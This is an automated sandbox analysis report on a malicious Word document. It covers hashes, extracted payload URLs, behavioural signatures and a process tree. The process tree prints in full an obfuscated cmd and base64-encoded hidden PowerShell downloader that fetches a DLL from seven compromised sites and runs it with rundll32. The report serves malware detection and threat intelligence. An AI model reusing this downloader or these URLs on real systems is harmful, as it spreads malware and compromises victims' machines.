Analysis
-
max time kernel
139s -
max time network
135s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
11-02-2021 19:52
Behavioral task
behavioral1
Sample
d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe.doc
Resource
win10v20201028
General
-
Target
d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe.doc
-
Size
164KB
-
MD5
02b2dee96e10003270606dfd7e059d23
-
SHA1
defe94b8ae07e6c5db6942bc7d020b615c4ba75d
-
SHA256
d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe
-
SHA512
4ebd0002c4c75788efdcd928d86da802c0a7d7152e96d6d900c72c656e14fbe62562aa8dff5f409ef1c158fb36c3e05a065c07093b104d3ae10e7ff0cc7c02a4
Malware Config
Extracted
http://www.achutamanasa.com/media/Te/
http://opticaquilin.cl/wp-includes/FFueL/
https://www.infoquick.co.uk/assets/h/
http://vilajansen.com.br/loja_old_1/p/
http://oftalmovilaplana.com/wp-includes/wfKu/
https://cashyinvestment.org/wp-content/21dIZ/
http://merkadito.mx/upload/6/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3300 3676 cmd.exe -
Blocklisted process makes network request 8 IoCs
Processes:
powershell.exeflow pid process 23 1372 powershell.exe 25 1372 powershell.exe 29 1372 powershell.exe 34 1372 powershell.exe 37 1372 powershell.exe 39 1372 powershell.exe 41 1372 powershell.exe 43 1372 powershell.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 3184 rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 880 WINWORD.EXE 880 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 1372 powershell.exe 1372 powershell.exe 1372 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1372 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 880 WINWORD.EXE 880 WINWORD.EXE 880 WINWORD.EXE 880 WINWORD.EXE 880 WINWORD.EXE 880 WINWORD.EXE 880 WINWORD.EXE -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
cmd.exepowershell.exerundll32.exedescription pid process target process PID 3300 wrote to memory of 3404 3300 cmd.exe msg.exe PID 3300 wrote to memory of 3404 3300 cmd.exe msg.exe PID 3300 wrote to memory of 1372 3300 cmd.exe powershell.exe PID 3300 wrote to memory of 1372 3300 cmd.exe powershell.exe PID 1372 wrote to memory of 4088 1372 powershell.exe rundll32.exe PID 1372 wrote to memory of 4088 1372 powershell.exe rundll32.exe PID 4088 wrote to memory of 3184 4088 rundll32.exe rundll32.exe PID 4088 wrote to memory of 3184 4088 rundll32.exe rundll32.exe PID 4088 wrote to memory of 3184 4088 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABzAHYAIAB0ADcAZQAgACAAKAAgAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADYAfQB7ADQAfQB7ADUAfQB7ADMAfQB7ADIAfQB7ADAAfQAiAC0ARgAnAHkAJwAsACcAcwAnACwAJwBSAEUAYwB0AG8AUgAnACwAJwBkAEkAJwAsACcARQBtAC4ASQBvACcALAAnAC4AJwAsACcAeQBTAHQAJwApACAAKQAgACAAOwAgACQAcgAwAG4AQwB3AE0AIAA9ACAAIABbAFQAWQBwAGUAXQAoACIAewAyAH0AewA1AH0AewA5AH0AewAzAH0AewAwAH0AewAxAH0AewA2AH0AewA3AH0AewA0AH0AewA4AH0AIgAtAEYAIAAnAHMAZQBSACcALAAnAHYASQBjAGUAJwAsACcAcwAnACwAJwBNAC4AbgBlAFQALgAnACwAJwBBAG4AQQBHAGUAJwAsACcAeQBzACcALAAnAHAAbwAnACwAJwBJAE4AVABNACcALAAnAHIAJwAsACcAVABlACcAKQAgADsAIAAkAEoAdQB5AHkAbwBwAHEAPQAkAFcAOAAxAEYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE4AMQA2AEkAOwAkAEQAMQAxAEsAPQAoACcARQAnACsAKAAnADIAJwArACcAMgBBACcAKQApADsAIAAkAFQANwBlADoAOgAiAGMAcgBFAGEAYABUAGAAZQBkAGAASQBSAGUAYwB0AGAATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAJwArACcAfQAnACsAJwBUACcAKwAnAGwAJwArACcANAAxAHAAdQB4AHsAMAB9ACcAKwAoACcAQgAnACsAJwBtAGQAXwAnACsAJwBwADUAZgAnACkAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAGMASABBAHIAXQA5ADIAKQApADsAJABSADgANwBZAD0AKAAnAEQAJwArACgAJwA1ADkAJwArACcASAAnACkAKQA7ACAAKAAgACAAZwBFAFQALQB2AEEAUgBpAGEAYgBsAGUAIAAoACcAUgAwACcAKwAnAE4AQwB3AG0AJwApACAALQB2AGEAbAB1AEUAbwBuAGwAWQAgACkAOgA6ACIAUwBFAEMAVQBSAGAASQBgAFQAeQBwAGAAUgBvAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbAAnACsAJwBzADEAMgAnACkAKQA7ACQARwA2ADUAQgA9ACgAJwBUACcAKwAoACcANAAzACcAKwAnAEIAJwApACkAOwAkAE0AegB6AHQAZABvAGcAIAA9ACAAKAAnAEcAJwArACgAJwAzACcAKwAnADUARAAnACkAKQA7ACQAUQA2ADgAVgA9ACgAJwBYADQAJwArACcAOQBCACcAKQA7ACQAUQB1AHQANABwAHIAbwA9ACQASABPAE0ARQArACgAKAAnAEEASwAnACsAKAAnAGkAJwArACcAVABsADQAJwArACcAMQBwAHUAeABBAEsAJwApACsAJwBpACcAKwAnAEIAJwArACcAbQAnACsAKAAnAGQAXwAnACsAJwBwADUAJwApACsAKAAnAGYAQQAnACsAJwBLAGkAJwApACkALQBSAGUAUABMAEEAYwBFACAAIAAoACcAQQBLACcAKwAnAGkAJwApACwAWwBjAEgAQQBSAF0AOQAyACkAKwAkAE0AegB6AHQAZABvAGcAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABGADEAMgBFAD0AKAAnAEIANAAnACsAJwAzAEQAJwApADsAJABCAGoAeQB2ADcAYwBiAD0AKAAoACcAcwBnACAAJwArACcAeQAnACkAKwAoACcAdwAgAGEAJwArACcAaAAnACkAKwAnADoALwAnACsAKAAnAC8AdwAnACsAJwB3AHcAJwApACsAKAAnAC4AYQBjAGgAJwArACcAdQB0ACcAKQArACcAYQBtACcAKwAoACcAYQAnACsAJwBuAGEAcwBhACcAKQArACgAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAKAAnAG0AZQBkAGkAJwArACcAYQAnACsAJwAvAFQAZQAvAEAAJwApACsAJwBzAGcAJwArACcAIAB5ACcAKwAoACcAdwAgAGEAaAAnACsAJwA6ACcAKQArACcALwAnACsAJwAvAG8AJwArACcAcAAnACsAJwB0ACcAKwAoACcAaQBjAGEAcQAnACsAJwB1ACcAKQArACgAJwBpAGwAaQBuAC4AJwArACcAYwBsACcAKQArACcALwAnACsAKAAnAHcAJwArACcAcAAtACcAKQArACcAaQBuACcAKwAnAGMAbAAnACsAKAAnAHUAJwArACcAZABlAHMALwAnACsAJwBGAEYAJwApACsAKAAnAHUAZQBMAC8AQAAnACsAJwBzAGcAIAAnACsAJwB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoAHMAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAHcAdwB3ACcAKwAnAC4AaQAnACkAKwAnAG4AJwArACgAJwBmAG8AcQB1ACcAKwAnAGkAYwAnACsAJwBrAC4AYwBvAC4AJwApACsAKAAnAHUAJwArACcAawAvAGEAcwAnACkAKwAoACcAcwBlACcAKwAnAHQAJwArACcAcwAvAGgALwBAAHMAZwAnACkAKwAoACcAIAB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoACcAKwAnADoALwAvAHYAJwApACsAJwBpACcAKwAoACcAbABhACcAKwAnAGoAYQBuACcAKwAnAHMAJwApACsAJwBlACcAKwAnAG4AJwArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACcALgAnACsAKAAnAGIAJwArACcAcgAvACcAKwAnAGwAbwBqAGEAXwBvAGwAZAAnACkAKwAoACcAXwAxAC8AcAAnACsAJwAvACcAKwAnAEAAcwAnACsAJwBnACAAeQB3ACAAYQBoACcAKQArACgAJwA6AC8ALwAnACsAJwBvAGYAdABhACcAKwAnAGwAJwApACsAKAAnAG0AbwAnACsAJwB2ACcAKQArACgAJwBpAGwAJwArACcAYQBwACcAKwAnAGwAYQBuAGEALgAnACkAKwAnAGMAJwArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AaQBuAGMAJwApACsAKAAnAGwAJwArACcAdQBkACcAKQArACgAJwBlAHMAJwArACcALwAnACkAKwAoACcAdwBmACcAKwAnAEsAdQAnACkAKwAnAC8AJwArACcAQAAnACsAJwBzAGcAJwArACgAJwAgAHkAJwArACcAdwAgAGEAJwApACsAKAAnAGgAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAYwBhACcAKQArACcAcwBoACcAKwAoACcAeQAnACsAJwBpAG4AJwArACcAdgBlAHMAJwApACsAKAAnAHQAbQAnACsAJwBlACcAKQArACgAJwBuACcAKwAnAHQALgAnACkAKwAoACcAbwByAGcAJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAYwBvACcAKQArACgAJwBuAHQAJwArACcAZQBuACcAKQArACcAdAAvACcAKwAnADIAJwArACgAJwAxACcAKwAnAGQASQBaAC8AJwApACsAKAAnAEAAJwArACcAcwBnACAAJwApACsAKAAnAHkAdwAgACcAKwAnAGEAJwApACsAJwBoADoAJwArACcALwAvACcAKwAoACcAbQBlAHIAJwArACcAawBhAGQAJwArACcAaQB0AG8ALgAnACkAKwAoACcAbQAnACsAJwB4AC8AJwApACsAKAAnAHUAcAAnACsAJwBsACcAKQArACgAJwBvAGEAZAAnACsAJwAvADYAJwArACcALwAnACkAKQAuACIAcgBFAGAAUABMAGEAYwBlACIAKAAoACgAJwBzACcAKwAnAGcAIAAnACkAKwAoACcAeQB3ACAAJwArACcAYQBoACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAcwAnACsAKAAnAGUAJwArACcAdwBmACcAKQApACwAKAAnAHcAZQAnACsAKAAnAHYAJwArACcAdwBlACcAKQApACkALAAoACcAYQBlACcAKwAnAGYAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBTAFAAbABgAEkAVAAiACgAJABRADcAXwBQACAAKwAgACQASgB1AHkAeQBvAHAAcQAgACsAIAAkAFYAMAAxAFUAKQA7ACQASwAzADYATgA9ACgAKAAnAFEAOQAnACsAJwBfACcAKQArACcASgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFgAcgBfAHMAdgB6AGMAIABpAG4AIAAkAEIAagB5AHYANwBjAGIAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAnACsAJwAtAE8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAHMAWQBTAFQAZQBNAC4ATgBlAHQALgBXAEUAQgBjAGwASQBFAE4AVAApAC4AIgBEAE8AdwBuAEwATwBgAEEARABGAGAAaQBMAEUAIgAoACQAWAByAF8AcwB2AHoAYwAsACAAJABRAHUAdAA0AHAAcgBvACkAOwAkAFkAOAA0AEQAPQAoACcAUgAzACcAKwAnADEAVgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAUQB1AHQANABwAHIAbwApAC4AIgBsAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMAMwA1ADAAMQApACAAewAmACgAJwByAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABRAHUAdAA0AHAAcgBvACwAKAAoACcAQQBuAHkAUwAnACsAJwB0ACcAKQArACcAcgBpACcAKwAnAG4AZwAnACkALgAiAHQAYABPAHMAVAByAGAASQBuAGcAIgAoACkAOwAkAEEANAAxAFUAPQAoACgAJwBOADEAJwArACcAMQAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABIADEAMwBNAD0AKAAnAFAANwAnACsAJwA5AFAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLADAAMABDAD0AKAAoACcASAAwACcAKwAnAF8AJwApACsAJwBDACcAKQA=1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc IABzAHYAIAB0ADcAZQAgACAAKAAgAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADYAfQB7ADQAfQB7ADUAfQB7ADMAfQB7ADIAfQB7ADAAfQAiAC0ARgAnAHkAJwAsACcAcwAnACwAJwBSAEUAYwB0AG8AUgAnACwAJwBkAEkAJwAsACcARQBtAC4ASQBvACcALAAnAC4AJwAsACcAeQBTAHQAJwApACAAKQAgACAAOwAgACQAcgAwAG4AQwB3AE0AIAA9ACAAIABbAFQAWQBwAGUAXQAoACIAewAyAH0AewA1AH0AewA5AH0AewAzAH0AewAwAH0AewAxAH0AewA2AH0AewA3AH0AewA0AH0AewA4AH0AIgAtAEYAIAAnAHMAZQBSACcALAAnAHYASQBjAGUAJwAsACcAcwAnACwAJwBNAC4AbgBlAFQALgAnACwAJwBBAG4AQQBHAGUAJwAsACcAeQBzACcALAAnAHAAbwAnACwAJwBJAE4AVABNACcALAAnAHIAJwAsACcAVABlACcAKQAgADsAIAAkAEoAdQB5AHkAbwBwAHEAPQAkAFcAOAAxAEYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE4AMQA2AEkAOwAkAEQAMQAxAEsAPQAoACcARQAnACsAKAAnADIAJwArACcAMgBBACcAKQApADsAIAAkAFQANwBlADoAOgAiAGMAcgBFAGEAYABUAGAAZQBkAGAASQBSAGUAYwB0AGAATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAJwArACcAfQAnACsAJwBUACcAKwAnAGwAJwArACcANAAxAHAAdQB4AHsAMAB9ACcAKwAoACcAQgAnACsAJwBtAGQAXwAnACsAJwBwADUAZgAnACkAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAGMASABBAHIAXQA5ADIAKQApADsAJABSADgANwBZAD0AKAAnAEQAJwArACgAJwA1ADkAJwArACcASAAnACkAKQA7ACAAKAAgACAAZwBFAFQALQB2AEEAUgBpAGEAYgBsAGUAIAAoACcAUgAwACcAKwAnAE4AQwB3AG0AJwApACAALQB2AGEAbAB1AEUAbwBuAGwAWQAgACkAOgA6ACIAUwBFAEMAVQBSAGAASQBgAFQAeQBwAGAAUgBvAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbAAnACsAJwBzADEAMgAnACkAKQA7ACQARwA2ADUAQgA9ACgAJwBUACcAKwAoACcANAAzACcAKwAnAEIAJwApACkAOwAkAE0AegB6AHQAZABvAGcAIAA9ACAAKAAnAEcAJwArACgAJwAzACcAKwAnADUARAAnACkAKQA7ACQAUQA2ADgAVgA9ACgAJwBYADQAJwArACcAOQBCACcAKQA7ACQAUQB1AHQANABwAHIAbwA9ACQASABPAE0ARQArACgAKAAnAEEASwAnACsAKAAnAGkAJwArACcAVABsADQAJwArACcAMQBwAHUAeABBAEsAJwApACsAJwBpACcAKwAnAEIAJwArACcAbQAnACsAKAAnAGQAXwAnACsAJwBwADUAJwApACsAKAAnAGYAQQAnACsAJwBLAGkAJwApACkALQBSAGUAUABMAEEAYwBFACAAIAAoACcAQQBLACcAKwAnAGkAJwApACwAWwBjAEgAQQBSAF0AOQAyACkAKwAkAE0AegB6AHQAZABvAGcAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABGADEAMgBFAD0AKAAnAEIANAAnACsAJwAzAEQAJwApADsAJABCAGoAeQB2ADcAYwBiAD0AKAAoACcAcwBnACAAJwArACcAeQAnACkAKwAoACcAdwAgAGEAJwArACcAaAAnACkAKwAnADoALwAnACsAKAAnAC8AdwAnACsAJwB3AHcAJwApACsAKAAnAC4AYQBjAGgAJwArACcAdQB0ACcAKQArACcAYQBtACcAKwAoACcAYQAnACsAJwBuAGEAcwBhACcAKQArACgAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAKAAnAG0AZQBkAGkAJwArACcAYQAnACsAJwAvAFQAZQAvAEAAJwApACsAJwBzAGcAJwArACcAIAB5ACcAKwAoACcAdwAgAGEAaAAnACsAJwA6ACcAKQArACcALwAnACsAJwAvAG8AJwArACcAcAAnACsAJwB0ACcAKwAoACcAaQBjAGEAcQAnACsAJwB1ACcAKQArACgAJwBpAGwAaQBuAC4AJwArACcAYwBsACcAKQArACcALwAnACsAKAAnAHcAJwArACcAcAAtACcAKQArACcAaQBuACcAKwAnAGMAbAAnACsAKAAnAHUAJwArACcAZABlAHMALwAnACsAJwBGAEYAJwApACsAKAAnAHUAZQBMAC8AQAAnACsAJwBzAGcAIAAnACsAJwB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoAHMAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAHcAdwB3ACcAKwAnAC4AaQAnACkAKwAnAG4AJwArACgAJwBmAG8AcQB1ACcAKwAnAGkAYwAnACsAJwBrAC4AYwBvAC4AJwApACsAKAAnAHUAJwArACcAawAvAGEAcwAnACkAKwAoACcAcwBlACcAKwAnAHQAJwArACcAcwAvAGgALwBAAHMAZwAnACkAKwAoACcAIAB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoACcAKwAnADoALwAvAHYAJwApACsAJwBpACcAKwAoACcAbABhACcAKwAnAGoAYQBuACcAKwAnAHMAJwApACsAJwBlACcAKwAnAG4AJwArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACcALgAnACsAKAAnAGIAJwArACcAcgAvACcAKwAnAGwAbwBqAGEAXwBvAGwAZAAnACkAKwAoACcAXwAxAC8AcAAnACsAJwAvACcAKwAnAEAAcwAnACsAJwBnACAAeQB3ACAAYQBoACcAKQArACgAJwA6AC8ALwAnACsAJwBvAGYAdABhACcAKwAnAGwAJwApACsAKAAnAG0AbwAnACsAJwB2ACcAKQArACgAJwBpAGwAJwArACcAYQBwACcAKwAnAGwAYQBuAGEALgAnACkAKwAnAGMAJwArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AaQBuAGMAJwApACsAKAAnAGwAJwArACcAdQBkACcAKQArACgAJwBlAHMAJwArACcALwAnACkAKwAoACcAdwBmACcAKwAnAEsAdQAnACkAKwAnAC8AJwArACcAQAAnACsAJwBzAGcAJwArACgAJwAgAHkAJwArACcAdwAgAGEAJwApACsAKAAnAGgAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAYwBhACcAKQArACcAcwBoACcAKwAoACcAeQAnACsAJwBpAG4AJwArACcAdgBlAHMAJwApACsAKAAnAHQAbQAnACsAJwBlACcAKQArACgAJwBuACcAKwAnAHQALgAnACkAKwAoACcAbwByAGcAJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAYwBvACcAKQArACgAJwBuAHQAJwArACcAZQBuACcAKQArACcAdAAvACcAKwAnADIAJwArACgAJwAxACcAKwAnAGQASQBaAC8AJwApACsAKAAnAEAAJwArACcAcwBnACAAJwApACsAKAAnAHkAdwAgACcAKwAnAGEAJwApACsAJwBoADoAJwArACcALwAvACcAKwAoACcAbQBlAHIAJwArACcAawBhAGQAJwArACcAaQB0AG8ALgAnACkAKwAoACcAbQAnACsAJwB4AC8AJwApACsAKAAnAHUAcAAnACsAJwBsACcAKQArACgAJwBvAGEAZAAnACsAJwAvADYAJwArACcALwAnACkAKQAuACIAcgBFAGAAUABMAGEAYwBlACIAKAAoACgAJwBzACcAKwAnAGcAIAAnACkAKwAoACcAeQB3ACAAJwArACcAYQBoACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAcwAnACsAKAAnAGUAJwArACcAdwBmACcAKQApACwAKAAnAHcAZQAnACsAKAAnAHYAJwArACcAdwBlACcAKQApACkALAAoACcAYQBlACcAKwAnAGYAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBTAFAAbABgAEkAVAAiACgAJABRADcAXwBQACAAKwAgACQASgB1AHkAeQBvAHAAcQAgACsAIAAkAFYAMAAxAFUAKQA7ACQASwAzADYATgA9ACgAKAAnAFEAOQAnACsAJwBfACcAKQArACcASgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFgAcgBfAHMAdgB6AGMAIABpAG4AIAAkAEIAagB5AHYANwBjAGIAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAnACsAJwAtAE8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAHMAWQBTAFQAZQBNAC4ATgBlAHQALgBXAEUAQgBjAGwASQBFAE4AVAApAC4AIgBEAE8AdwBuAEwATwBgAEEARABGAGAAaQBMAEUAIgAoACQAWAByAF8AcwB2AHoAYwAsACAAJABRAHUAdAA0AHAAcgBvACkAOwAkAFkAOAA0AEQAPQAoACcAUgAzACcAKwAnADEAVgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAUQB1AHQANABwAHIAbwApAC4AIgBsAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMAMwA1ADAAMQApACAAewAmACgAJwByAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABRAHUAdAA0AHAAcgBvACwAKAAoACcAQQBuAHkAUwAnACsAJwB0ACcAKQArACcAcgBpACcAKwAnAG4AZwAnACkALgAiAHQAYABPAHMAVAByAGAASQBuAGcAIgAoACkAOwAkAEEANAAxAFUAPQAoACgAJwBOADEAJwArACcAMQAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABIADEAMwBNAD0AKAAnAFAANwAnACsAJwA5AFAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLADAAMABDAD0AKAAoACcASAAwACcAKwAnAF8AJwApACsAJwBDACcAKQA=2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tl41pux\Bmd_p5f\G35D.dll,AnyString3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tl41pux\Bmd_p5f\G35D.dll,AnyString4⤵
- Loads dropped DLL
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
memory/880-2-0x00007FF920240000-0x00007FF920250000-memory.dmpFilesize
64KB
-
memory/880-3-0x00007FF920240000-0x00007FF920250000-memory.dmpFilesize
64KB
-
memory/880-4-0x00007FF920240000-0x00007FF920250000-memory.dmpFilesize
64KB
-
memory/880-5-0x00007FF920240000-0x00007FF920250000-memory.dmpFilesize
64KB
-
memory/880-6-0x000002173BF20000-0x000002173C557000-memory.dmpFilesize
6.2MB
-
memory/1372-10-0x00000140A37F0000-0x00000140A37F1000-memory.dmpFilesize
4KB
-
memory/1372-9-0x00007FF93BB40000-0x00007FF93C52C000-memory.dmpFilesize
9.9MB
-
memory/1372-11-0x00000140A3B50000-0x00000140A3B51000-memory.dmpFilesize
4KB
-
memory/1372-12-0x00000140A3850000-0x00000140A3852000-memory.dmpFilesize
8KB
-
memory/1372-13-0x00000140A3853000-0x00000140A3855000-memory.dmpFilesize
8KB
-
memory/1372-14-0x00000140A3856000-0x00000140A3858000-memory.dmpFilesize
8KB
-
memory/1372-8-0x0000000000000000-mapping.dmp
-
memory/3184-17-0x0000000000000000-mapping.dmp
-
memory/3404-7-0x0000000000000000-mapping.dmp
-
memory/4088-15-0x0000000000000000-mapping.dmp